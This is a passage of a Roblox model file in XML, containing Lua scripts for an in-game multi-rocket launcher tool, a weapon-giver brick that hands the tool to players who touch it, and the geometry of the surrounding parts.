								<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	wait(12)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4451">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">RocketScript</string>
								<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position + direction * 3
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 10.0 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4452">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4453">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-33.5000916</X>
							<Y>7.39931011</Y>
							<Z>99</Z>
							<R00>0.999996006</R00>
							<R01>2.31135346e-005</R01>
							<R02>1.04804531e-005</R02>
							<R10>-2.31129088e-005</R10>
							<R11>1</R11>
							<R12>-1.26420346e-005</R12>
							<R20>-1.04807577e-005</R20>
							<R21>1.26414961e-005</R21>
							<R22>0.999996006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4454">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-35.5000305</X>
							<Y>10.9993925</Y>
							<Z>98.5000916</Z>
							<R00>-1.04804531e-005</R00>
							<R01>2.31135346e-005</R01>
							<R02>0.999996006</R02>
							<R10>1.26420346e-005</R10>
							<R11>1</R11>
							<R12>-2.31129088e-005</R12>
							<R20>-0.999996006</R20>
							<R21>1.26414961e-005</R21>
							<R22>-1.04807577e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4455">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Caution: DO NOT REMOVE</string>
						<ProtectedString name="Source">local h = Instance.new(&quot;Hint&quot;)
h.Parent = game.Workspace
h.Text = &quot;I thank Sgtcrazylegs for another one of his quality products&quot;</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4456">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4457">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>9.80000019</Y>
							<Z>97.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4458">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4459">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-38.4999924</X>
							<Y>9.79978943</Y>
							<Z>98.4999847</Z>
							<R00>1.04807905e-005</R00>
							<R01>-2.31131762e-005</R01>
							<R02>0.999999702</R02>
							<R10>-1.26416526e-005</R10>
							<R11>1</R11>
							<R12>2.31133472e-005</R12>
							<R20>-0.999999702</R20>
							<R21>-1.26419191e-005</R21>
							<R22>1.04804976e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4460">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4461">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5019455</X>
							<Y>9.5049305</Y>
							<Z>96.4997406</Z>
							<R00>-1.04791579e-005</R00>
							<R01>0.000129477223</R01>
							<R02>-0.999998748</R02>
							<R10>4.31596563e-005</R10>
							<R11>1</R11>
							<R12>0.000129476786</R12>
							<R20>0.999998748</R20>
							<R21>-4.31583539e-005</R21>
							<R22>-1.04847422e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Tool" referent="RBX4462">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Enabled">true</bool>
							<CoordinateFrame name="Grip">
								<X>-0.75</X>
								<Y>-0.5</Y>
								<Z>0.100000001</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<string name="Name">MultiRocket</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Script" referent="RBX4463">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Server Launcher</string>
								<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,6)
Rocket.BrickColor = BrickColor.new(6)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget, offset)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position
	dir = computeDirection(dir)
	local missileCF = CFrame.new(vHandle.Position,  vHandle.Position + dir)
	local missile = Rocket:clone()
	local color = math.random(1,32)
	missile.BrickColor = BrickColor.new(color)
	print(color)
	missile.CFrame = missileCF * offset

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	for i=-15,15,5 do
		fire(targetPos, CFrame.new(i,0,-9))
	end

	wait(0.0000000000000000000000000000000000001)
	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4464">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Explosion</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4465">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Swoosh</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/Rocket whoosh 01.wav</url></Content>
								<float name="Volume">0.699999988</float>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4466">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-41.4384537</X>
									<Y>8.79172421</Y>
									<Z>98.8160934</Z>
									<R00>0.00121957622</R00>
									<R01>-0.0486912839</R01>
									<R02>0.998812914</R02>
									<R10>-0.999997258</R10>
									<R11>0.0018825531</R11>
									<R12>0.0013127923</R12>
									<R20>-0.00194406509</R20>
									<R21>-0.99881196</R21>
									<R22>-0.0486888587</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Handle</string>
								<float name="Reflectance">0.400000006</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.00712389499</X>
									<Y>0.00904770475</Y>
									<Z>0.00754512986</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.0191708785</X>
									<Y>-0.00777286384</Y>
									<Z>-0.0170596875</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX4467">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1030777</url></Content>
									<token name="MeshType">5</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.75</X>
										<Y>0.75</Y>
										<Z>0.75</Z>
									</Vector3>
									<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1030776</url></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX4468">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294964480</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="LocalScript" referent="RBX4469">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
								<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;&quot;

	wait(0.000000000000000000000000000000000000000000000001)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4470">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">RocketScript</string>
								<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position + direction * 12
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 10.0 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4471">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Fire" referent="RBX4472">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4473">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>9.80000019</Y>
							<Z>100.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4474">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4475">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-42.5000534</X>
							<Y>9.8000145</Y>
							<Z>98.4999542</Z>
							<R00>1.04807905e-005</R00>
							<R01>-2.31131762e-005</R01>
							<R02>0.999999702</R02>
							<R10>-1.26416526e-005</R10>
							<R11>1</R11>
							<R12>2.31133472e-005</R12>
							<R20>-0.999999702</R20>
							<R21>-1.26419191e-005</R21>
							<R22>1.04804976e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
